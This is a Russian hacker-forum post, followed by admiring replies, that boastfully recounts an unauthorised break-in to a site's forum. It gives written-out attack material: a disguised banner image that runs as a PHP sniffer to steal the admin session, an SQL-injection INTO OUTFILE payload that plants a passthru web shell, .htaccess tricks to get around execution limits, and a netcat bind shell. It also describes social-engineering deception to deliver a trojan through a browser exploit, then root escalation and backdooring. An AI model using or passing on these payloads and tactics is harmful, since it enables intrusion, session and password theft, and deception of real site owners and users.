Зачем эта статья? Надеюсь, что для одноразового прочтения сойдет. Просто нравятся мне такие статьи, а их мало. Было очень жарко... Я налил лимонного сока, положил в стакан льда, стал читать башорг, но тут вспомнил, что надо бы зломать один сервер. Я на него уже давно хотел поглядеть. На сервере не оказалось установлено ничего, кроме форума, который я и избрал своим единственным объектом атаки. Осматриваемся... Форум был самописный и с виду неплохо защищенный. Первым же своим действием я обнаружил администраторскую панель, просто вбив в адресную строку http://site.com/admin/. Админка была доступна, видимо, только админу (странно). Я еще поглядел баги, но, ничего не найдя, решил зарегестрироваться. На страничке регистрации я с сожалением увидел, что регистрация на форуме закрыта. И происходит только через админа. Я не стал вчитываться в то, какого содержания письмо писать админу и что в нем указывать, чтобы мне дали аккаунт, я сразу избрал другой путь. Регистрируемся... Я хотел сбрутить чужой аккаунт, зашел на страничку входа, и немного поубавил свой пыл, увидев там капчу. Правда капча была самой примитивной и я подумал, что можно быстро и со 100% вероятностью ее распознавать. Но перед тем, как я начал писать распознавалку, решил проверить саму авторизацию на прочность. И не зря, оказалось, что в поле hidden формы передавался md5 хеш капчи, но стоит отдать должное программеру, он передаваемый текст хитро спрятал в функции onSubmit, которая присваивала скрытому полю нужное значение прямо перед отправкой. Итак, я быстро написал скрипт на пхп, и попытался брутить, но меня постигла неудача, на IP адрес стояло ограничение по количеству неудачных авторизаций. Я подумал было прикупить проксей, но решил что проще и надежней будет связаться с кем-нибудь из участников форума и впарить ему троя. Искать нужного человека я полез в гугл. Я вбил запросы: Code: site:site.com мое мыло site:site.com моя ася И гугл любезно выдал мне нашел несколько людей с аськами и адресами почты. Почитав посты потенциальных жертв, я выбрал первого человека, постоянно посещающего форум, взял кривую восьмерку, сменил инфу и стукнул ему в асю. Сказал, что хочу зарегестрироваться на форуме и попросил его помочь мне с этим нелегким делом. Человек попался отзывчивый и добрый, начал рассказывать и объяснять мне все. Он рассказывал долго, а я много спрашивал. В итоге стало ясно, что он в последнюю очередь видит во мне злобного хакера, пытающегося увести его аккаунт, и в первую очередь глупую девчонку. И тогда я начал действовать: Так я узнал все, что мне надо о жертве, и пока мы мило беседовали дальше, я создал страничку со сплоитом под ИЕ и троем, закриптованным от НОДа. Залил все это на старый акк jino-net, чел зашел по моему линку на флешку, и пока смотрел ее, я уже зашел на форум под его логином и паролем. Мы еще обменялись парой фраз, а потом я поехала в институт. И что же мы получили? Первое, что бросилось в глаза - то, что пароля в куках не было, была только сессия. Причем эта же сессия мелькала и в get запросах. Я подумал, что можно просниффать админскую сессию, но возник логичный вопрос - как? Аватары на форуме нельзя было указывать ссылками на другой сайт. Только загружать с локалхоста. А тега img не было. Никакой возможности поставить сниффер мне не предоставилось. Я поискал другие баги, но сайт бы чист. Тогда мне в голову пришла идея, как заполучить сессию админа. Получаем админскую сессию. На форуме было несколько рекламных мест, вверху и внизу висели баннеры 468x60, а также пару текстовых ссылок. Баннеры как ни странно были расположены на сайтах рекламодателей. У меня был шелл на сайте с похожей тематикой, я взял их баннер, разместил в отдельной папке, в которой создал также .htaccess с содержимым: Code: <Files "banner.jpg"> AddType application/x-httpd-php .jpg </Files> Скрипт banner.jpg я сделал сниффером, чтобы он логировал реферер: Code: <?php // открываем файл, записываем IP, реферер на новую строку, закрываем $fo=fopen('1.txt','ab'); fwrite($fo,$_SERVER['REMOTE_ADDR'].':'.$_SERVER['HTTP_REFERER']."\r\n"; fclose($fo); // показываем картинку realbanner.jpg header("Content-type: image/jpeg"); $im=imagecreatefromjpeg("./realbanner.jpg"); Imagejpeg($im,'',20); ImageDestroy($im); ?> После я взял кривую шестерку, стукнул админу, сказал, что по вопросам размещения рекламы. Он отнесся к предложению с трепетом и излишним энтузиазмом, мы быстро договорились, было ясно, что такие предложения поступают к нему не часто и я сыграл на этом, используя очень деловой тон. Я дал ему ссылку на banner.jpg, сказал, чтобы он поставил его на сайт, и я сразу переведу деньги. Админ поставил мой баннер. Я одобрил, но вдруг обнаружил, что мой кошелек заблокирован, извинился и сказал, что стукну как только разблокирую его. Сессия админа была у меня. Ваши права? Администратор! Я подменил куки и вошел на форум под админом. И сразу ломанулся осматривать админ панель меня пустило без дополнительных проверок. В админке было не очень много возможностей, я стал искать как бы мне залить шелл, но заливать файлы там было нельзя. Я старательно принялся искать любые баги и вскоре заметил, что при выполнении определенных действий с базой юзеров, в type='hidden' поле формы передается id юзера. Я сделал на локалхосте аналог формы из админки: Code: <form action='http://site.com/admin_panel/index.php?action=edituser' method='post'> <input type='text' name='user_id' value='SQL Injection' /> <input type='submit' name='submit' value='submit' /> </form> И, попробовав послать некорректный запрос, я увидел ошибку mysql. Поскольку я одновременно узнал и пути, и имя таблицы, я попробывал залить шелл через info outfile в директорию с аватарами, она ведь была открыта для записи, у меня получилось: Code: 1' union select '<? passthru($_GET[cmd]) ?>' from users into outfile '/home/site/public_html/images/av/image.php'/* Но вот в директории с аватарами было запрещено выполнение пхп скриптов. Как я позже узнал, запрет был при помощи следущего текста в .htaccess: Code: <Files ~ "\.php"> Order allow,deny Deny from all </Files> Я попробовал изменить расширение на .php3, и скрипт запустился. Safe mode On Но мой шелл не работал, потому-что safe_mod был включен. Тогда я залил простенький скрипт, при помощи которого можно было заливать файлы в определенную папку на сервер. И залил шелл от rst. Увидел уязвимое ядро, увидел, что функция eval и множество других были выключены. Я понял, что при помощи пхп ловить тут нечего. Я не мог выполнять команды, а выполнять кастрированный пхп код мог лишь заливая каждый раз новый файл. Тогда новым файлом я попытался удалить .htaccess, получилось: Code: <?php unlink('./.htaccess');?> Тогда я залил perl шелл, залил новый .htaccess с содержимым: Code: <Directory /home/site/public_html/images/av/> Options +ExecCGI AddHandler cgi-script .pl </Directory> Этим я разрешил выполнение perl скриптов в данной директории. Также пришлось залить простенький файл, который сменил chmod моему perl скрипту. Только тогда мой perl шелл заработал. Полноценный шелл, это так здорово! Итак, шелл на перле запустился. Я нашел в файле конфига инфу для доступа к бд, ничего интересного там не было. Хотя пароли хранились в открытом виде и я слил таблицу юзеров. Я залил скрипт для бинда порта, вошел на сервер netcat'ом. Дальше я использовал эксплоит для повышения прав, поимев рута, взял с сервера то, что мне было нужно, замел следы, забекдорил систему... но это уже совсем другая история... А на улице по прежнему +30, или В заключении... ...хочу сказать - не пытайтесь повторить это дома, это опасно для жизни. Если будете повторять - не забывайте предохраняться. И помните, не бывает 100% защищенных систем. Используйте творческий подход. Иногда даже обычная XSS может дать вам рута. Не говоря уже про человеческий фактор. Все. Могут быть ошибки. Писал все по памяти.
Хм.. статейка в стиле Ксакепа, имхо наверно мы её скоро увидим в июньском ][, я правильно понял? ЗЫ. Имхо только сок у них апельсиновый, а не лимонный... :d
вот об этом можно было и по подробней, что за ось, что за сплойты использовал, это хостинг был или нет=) а так, сильно смахивает статьи из ][
В принцыпе взлом банален и нечего сложно я не вижу... Ps надо тоже попробывать свеже выжатый лимооный сок, наверное помогает хекать как **нешь пол литра лицо скосит всего вывернет и сиди хекай. Pps Напиши статью о влиянии лимнного сока на мозг хакера.
+1 банальная статья для ксакепа. хотя порадовала фишка с .htaccess'ом. большая часть была в соц инженерии, а это не всегда удачно, ибо люди разные бывают=\
ой а мне такое нравится читать -- как говорил один мой учитель по информатике сказка про серенького бычка хз почему --- похоже не хеккерскую сказку -- рекомендую к прочтению перед сном для развития фантазии и предупреждения лунатизма пойдет
Очень симпатичная статья. спасибо вам, мне нравиться читать статьи такого типа. И часть про htaccess была новой для меня, надо будет поинтересоваться об этом.